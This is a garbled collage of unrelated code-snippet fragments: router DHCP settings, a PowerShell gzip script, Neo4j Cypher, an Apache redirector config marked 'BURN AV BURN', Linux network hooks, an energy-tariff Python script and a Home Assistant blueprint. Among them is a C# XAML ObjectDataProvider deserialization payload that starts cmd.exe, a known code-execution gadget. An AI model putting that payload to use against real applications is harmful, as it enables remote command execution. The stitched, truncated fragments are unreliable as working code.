Setup > WAN Setup > WAN Connection Type: DHCP Authentication
DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768
IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation
| $path = "C:\data\sysvol_results.csv" | |
| $inStream = new-object System.IO.FileStream($path, [System.IO.FileMode]::Open); | |
| $outStream = new-object System.IO.FileStream("$($path).gz", [System.IO.FileMode]::CreateNew); | |
| $compressionStream = new-object System.IO.Compression.GZipStream($outStream, [System.IO.Compression.CompressionMode]::Compress); | |
| $inStream.CopyTo($compressionStream); | |
| $inStream.Close(); | |
| $compressionStream.Close(); | |
| $outStream.Close(); |
| RETURN apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") |
| MATCH (u:user) | |
| WITH u, apoc.text.join(apoc.coll.randomItems(split("abcdefghijklmnopqrstuvwxyz0123456789",""), 12, true),"") as identifier | |
| SET u.name=identifier | |
| RETURN COUNT(u) |
| Define REDIR_TARGET example.com | |
| RewriteEngine On | |
| RewriteOptions Inherit | |
| # Uncomment the below line for verbose logging, including seeing which rule matched. | |
| #LogLevel alert rewrite:trace5 | |
| # BURN AV BURN | |
| Wireless > Advanced Settings > Bluetooth Coexistence Mode - Set to Disabled | |
| Use DNS server: | |
| https://github.com/barronwaffles/dwc_network_server_emulator/wiki |
| String cmd = "ping 127.0.0.1"; | |
| String payload = @"<ResourceDictionary xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:sd=""clr-namespace:System.Diagnostics;assembly=System"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""><ObjectDataProvider ObjectType=""sd:Process"" MethodName=""Start"" x:Key=""LaunchCalc""><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c """ + cmd + @"""</System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>"; |
Setup > WAN Setup > WAN Connection Type: DHCP Authentication
DHCP Client ID: 686940736b7964736c7c6162636465666768 DHCP IPV6 Client ID: 686940736b7964736c7c6162636465666768
IPV6 > IPv6Support > IPv6 Type : DHCPv6 with Prefix Delegation
| ## | |
| #/etc/networkd-dispatcher/no-carrier.d/50-ifdown-hooks | |
| ## | |
| #!/bin/bash | |
| enable_disable_wifi () | |
| { | |
| if [ "$IFACE" == "enp0s25" ]; then | |
| echo "$(date) - $IFACE down wifi unblocked" | |
| rfkill unblock wifi |
| from OctopusAgile import Agile | |
| import datetime | |
| import yaml | |
| today = datetime.date.today() | |
| agile = Agile('B') # N is the region code for Southern Scotland | |
| date_from = today + datetime.timedelta(days=1) | |
| date_to = today + datetime.timedelta(days=2) | |
| rates = agile.get_rates(date_from, date_to) |
| blueprint: | |
| name: Send a camera snapshot when doorbell was activated | |
| description: 'This automation blueprint creates a camera snapshot when the doorbell was activated and | |
| sends a notification to your phone with the picture. | |
| ' | |
| domain: automation | |
| input: | |
| binary_sensor: | |
| name: Push button |